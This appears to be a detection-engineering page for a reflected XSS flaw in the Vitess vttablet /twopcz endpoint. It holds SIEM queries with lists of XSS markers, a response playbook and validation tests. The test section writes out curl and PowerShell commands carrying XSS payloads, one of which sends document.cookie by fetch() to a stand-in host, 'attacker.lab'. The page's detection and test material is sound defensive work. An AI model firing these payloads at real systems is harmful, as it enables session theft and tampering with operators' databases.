Vitess vttablet /twopcz Reflected XSS (CVE-2026-104252)
Detects exploitation attempts against the reflected cross-site scripting vulnerability in the Vitess vttablet administrative debug endpoint /twopcz (CVE-2026-104252). The /twopcz page, used to display and resolve in-flight two-phase commit (2PC) distributed transactions, reflects user-controlled request parameters (notably the 'dtid' distributed transaction ID and related 2PC identifiers) into the HTML response without proper output encoding (CWE-79/CWE-80/CWE-116). An attacker who can lure an authenticated vttablet operator to a crafted URL can execute arbitrary JavaScript in the operator's browser session, enabling theft of session material and unauthorized 2PC transaction manipulation. CVSS 9.8. Affected: vitess.io/vitess < 0.23.5 and >= 0.24.0, < 0.24.2. Detection focuses on HTTP requests to the /twopcz endpoint carrying XSS payload markers in query/body parameters.
Vulnerability Intelligence
Public PoCAffected Software
- Vendor
- go
- Product
- vitess.io/vitess
- Versions
- < 0.23.5, >= 0.24.0, < 0.24.2
Timeline
- Disclosed
- October 15, 2026
References & Proof of Concept
- PoChttps://github.com/advisories/GHSA-v75v-6fpf-gvw8
- https://github.com/vitessio/vitess/security/advisories/GHSA-v75v-6fpf-gvw8
- https://nvd.nist.gov/vuln/detail/CVE-2026-104252
- https://github.com/vitessio/vitess/pull/20255
- https://github.com/vitessio/vitess/pull/20273
- https://github.com/vitessio/vitess/pull/20274
- https://github.com/vitessio/vitess/commit/3140c1846cd120db34f33b2083139b4ab638aed2
- https://github.com/vitessio/vitess/commit/976e1e0d78f9d29d02e5e31b4aa7e180648f08af
- https://github.com/vitessio/vitess/commit/c1ed96302e658190168c971afdac730cf70e43f7
- https://github.com/vitessio/vitess/releases/tag/v23.0.5
- https://github.com/vitessio/vitess/releases/tag/v24.0.2
CVSS
- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
What is CVE-2026-104252 Vitess vttablet /twopcz Reflected XSS (CVE-2026-104252)?
Vitess vttablet /twopcz Reflected XSS (CVE-2026-104252) (CVE-2026-104252) maps to the Initial Access and Execution tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for Vitess vttablet /twopcz Reflected XSS (CVE-2026-104252), covering the data sources and telemetry it touches: Web Server Logs, Reverse Proxy Logs, Firewall Logs. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Initial Access Execution
// df00tech DF00-ac55726380 · https://df00tech.com/detections/CVE-2026-104252 · licence: https://df00tech.com/detections/licence
let xssMarkers = dynamic(["<script", "%3cscript", "onerror=", "onload=", "onmouseover=", "javascript:", "<svg", "%3csvg", "<img", "document.cookie", "String.fromCharCode", "<iframe"]);
let twopczReqs = union isfuzzy=true
(W3CIISLog
| where csUriStem has "/twopcz"
| extend FullUri = strcat(csUriStem, "?", csUriQuery), SrcIp = cIP, UA = csUserAgent, Dst = sSiteName, TimeGen = TimeGenerated),
(AZFWApplicationRule
| where Url has "/twopcz"
| extend FullUri = Url, SrcIp = SourceIp, UA = "", Dst = Fqdn, TimeGen = TimeGenerated),
(CommonSecurityLog
| where RequestURL has "/twopcz"
| extend FullUri = RequestURL, SrcIp = SourceIP, UA = tostring(AdditionalExtensions), Dst = DestinationIP, TimeGen = TimeGenerated);
twopczReqs
| extend DecodedUri = tolower(url_decode(FullUri))
| where DecodedUri has_any (xssMarkers) or tolower(FullUri) has_any (xssMarkers)
| project TimeGen, SrcIp, Dst, FullUri, DecodedUri, UA
| sort by TimeGen desc Flags HTTP requests to the Vitess vttablet /twopcz debug endpoint whose URI (raw or URL-decoded) contains common reflected-XSS payload markers, across IIS/reverse-proxy, Azure Firewall, and CEF proxy logs.
Data Sources
Required Tables
False Positives
- Security scanners (Burp, ZAP, Nuclei) and authorized penetration testing probing the endpoint
- Operators legitimately pasting dtid values that incidentally contain angle brackets or reserved characters
- Automated DAST pipelines running XSS fuzzing against staging vttablet instances
Query fingerprint DF00-ac55726380 · licence
Sigma logsource & community rules
The detection logic for Vitess vttablet /twopcz Reflected XSS (CVE-2026-104252) (CVE-2026-104252) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: network_connection
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-104252
References (9)
- https://github.com/vitessio/vitess/security/advisories/GHSA-v75v-6fpf-gvw8
- https://nvd.nist.gov/vuln/detail/CVE-2026-104252
- https://github.com/vitessio/vitess/pull/20255
- https://github.com/vitessio/vitess/pull/20273
- https://github.com/vitessio/vitess/pull/20274
- https://github.com/vitessio/vitess/commit/3140c1846cd120db34f33b2083139b4ab638aed2
- https://github.com/vitessio/vitess/releases/tag/v23.0.5
- https://github.com/vitessio/vitess/releases/tag/v24.0.2
- https://github.com/advisories/GHSA-v75v-6fpf-gvw8
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Reflected script-tag payload on /twopcz dtid parameter
Expected signal: Web/proxy access log entry for /twopcz containing URL-encoded <script> payload in the dtid query parameter
- Test 2 Event-handler XSS payload via img onerror
Expected signal: Access log entry for /twopcz with 'onerror=' and '<img' payload markers in the query string
- Test 3 SVG onload XSS payload (PowerShell)
Expected signal: Proxy/web log entry for /twopcz containing '<svg' and 'onload=' payload markers
Response Playbook
Triage
- Extract the full /twopcz request URI and URL-decode it; confirm the payload reflects an active XSS vector (script tags, event handlers, javascript: URIs) rather than benign special characters in a dtid value.
- Identify the source IP and user-agent and determine whether it maps to a known operator, an authorized scanner, or an unknown/external origin; check whether the request reached an authenticated vttablet session.
- Determine the Vitess version of the targeted vttablet (build banner, deployment manifest, or vttablet --version) and confirm it falls in the affected ranges (< 0.23.5 or >= 0.24.0, < 0.24.2).
- Review whether the crafted URL was delivered to an operator (email, chat, ticket link) indicating a targeted social-engineering delivery of the reflected XSS.
Containment
- Restrict access to the vttablet /debug and /twopcz administrative endpoints to a management network / VPN and place them behind authenticated reverse-proxy ACLs; block external access immediately.
- Upgrade affected vttablet instances to Vitess v23.0.5 (0.23.5) or v24.0.2 (0.24.2) or later, which add output encoding on the 2PC debug pages.
- If immediate patching is not possible, disable the /twopcz debug handler or deploy a WAF rule blocking XSS payload markers on the /twopcz path.
Evidence Collection
- Preserve web/reverse-proxy access logs containing the full /twopcz request URIs, source IPs, user-agents, and timestamps.
- Capture the vttablet process version, configuration, and any session/cookie material potentially exposed to the reflected script, and snapshot relevant 2PC transaction state (dtids) around the event.
Escalation Criteria
- ! Escalate to incident response if the XSS payload executed within an authenticated operator session (evidence of document.cookie exfiltration, outbound beacon, or subsequent 2PC transaction resolution actions).
- ! Escalate if the targeted vttablet is confirmed internet-exposed and running an affected version, or if multiple operators received the crafted link indicating a coordinated campaign.
Investigation Guide
Forensic Artifacts
- >
Web/reverse-proxy access logs with the full /twopcz request URI and URL-decoded payload - >
Operator browser history/cache showing the crafted /twopcz URL and any outbound requests to attacker-controlled hosts - >
vttablet build/version metadata and 2PC transaction (dtid) state logs around the event
Tuning Guidance
Baseline legitimate operator sources and authorized scanner IPs for the /twopcz endpoint and exclude them to cut noise. If the deployment never exposes the vttablet debug surface, any /twopcz hit with payload markers is high-fidelity. Tighten the payload regex to require decoded angle brackets plus a script/event-handler token to reduce matches on dtids that merely contain reserved characters. Prefer URL-decoded evaluation since attackers commonly percent-encode payloads to bypass raw string matching.
Hunting Queries
Hunt for any historical /twopcz requests whose decoded URI contains XSS payload markers, grouped by source IP and user-agent to surface reconnaissance or repeated attempts.
// df00tech DF00-ac55726380 · https://df00tech.com/detections/CVE-2026-104252 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has "/twopcz" | extend d = tolower(url_decode(strcat(csUriStem, "?", csUriQuery))) | where d has_any ("<script","onerror=","onload=","javascript:","<svg","document.cookie") | summarize count(), make_set(csUriQuery) by cIP, csUserAgent ``` df00tech DF00-ac55726380 · https://df00tech.com/detections/CVE-2026-104252 · licence: https://df00tech.com/detections/licence ```
index=web uri_path="*/twopcz*" | eval d=lower(urldecode(coalesce(uri,url))) | where match(d,"(?i)(<script|onerror=|onload=|javascript:|<svg|document\.cookie)") | stats count values(d) by src_ip, http_user_agent Atomic Red Team Tests
Sends a GET request to the vttablet /twopcz endpoint with a script-tag XSS payload in the dtid parameter to validate detection of reflected XSS attempts.
Command
curl -sk 'https://vttablet.lab.local:15000/twopcz?dtid=%3Cscript%3Ealert(document.cookie)%3C/script%3E' -o /dev/null Cleanup
echo 'No cleanup required; GET request leaves no persistent state' Expected Telemetry
Web/proxy access log entry for /twopcz containing URL-encoded <script> payload in the dtid query parameter
Expected Detection
KQL/SPL/EQL rules fire on the URL-decoded <script> marker in the /twopcz URI
Sends an <img onerror=...> based XSS payload to /twopcz to exercise detection of event-handler injection vectors.
Command
curl -sk "https://vttablet.lab.local:15000/twopcz?dtid=1-2-3%22%3E%3Cimg%20src=x%20onerror=fetch('//attacker.lab/'+document.cookie)%3E" -o /dev/null Cleanup
echo 'No cleanup required' Expected Telemetry
Access log entry for /twopcz with 'onerror=' and '<img' payload markers in the query string
Expected Detection
Detection rules match on the 'onerror=' / '<img' reflected-XSS markers after URL decoding
Uses PowerShell on Windows to send an SVG onload XSS payload to the /twopcz endpoint, validating cross-platform detection coverage.
Command
Invoke-WebRequest -UseBasicParsing -Uri 'https://vttablet.lab.local:15000/twopcz?dtid=%3Csvg%20onload=alert(1)%3E' -SkipCertificateCheck | Out-Null Cleanup
Write-Host 'No cleanup required' Expected Telemetry
Proxy/web log entry for /twopcz containing '<svg' and 'onload=' payload markers
Expected Detection
Detection rules fire on the decoded '<svg'/'onload=' reflected-XSS markers in the /twopcz request
Related Detections
Tactic Hubs
Related Techniques
Same Tactic: Initial Access
Blog posts about this detection
Browse by tactic
- Reconnaissance TA0043
- Resource Development TA0042
- Initial Access TA0001
- Execution TA0002
- Persistence TA0003
- Privilege Escalation TA0004
- Stealth TA0005
- Defense Impairment TA0112
- Credential Access TA0006
- Discovery TA0007
- Lateral Movement TA0008
- Collection TA0009
- Command and Control TA0011
- Exfiltration TA0010
- Impact TA0040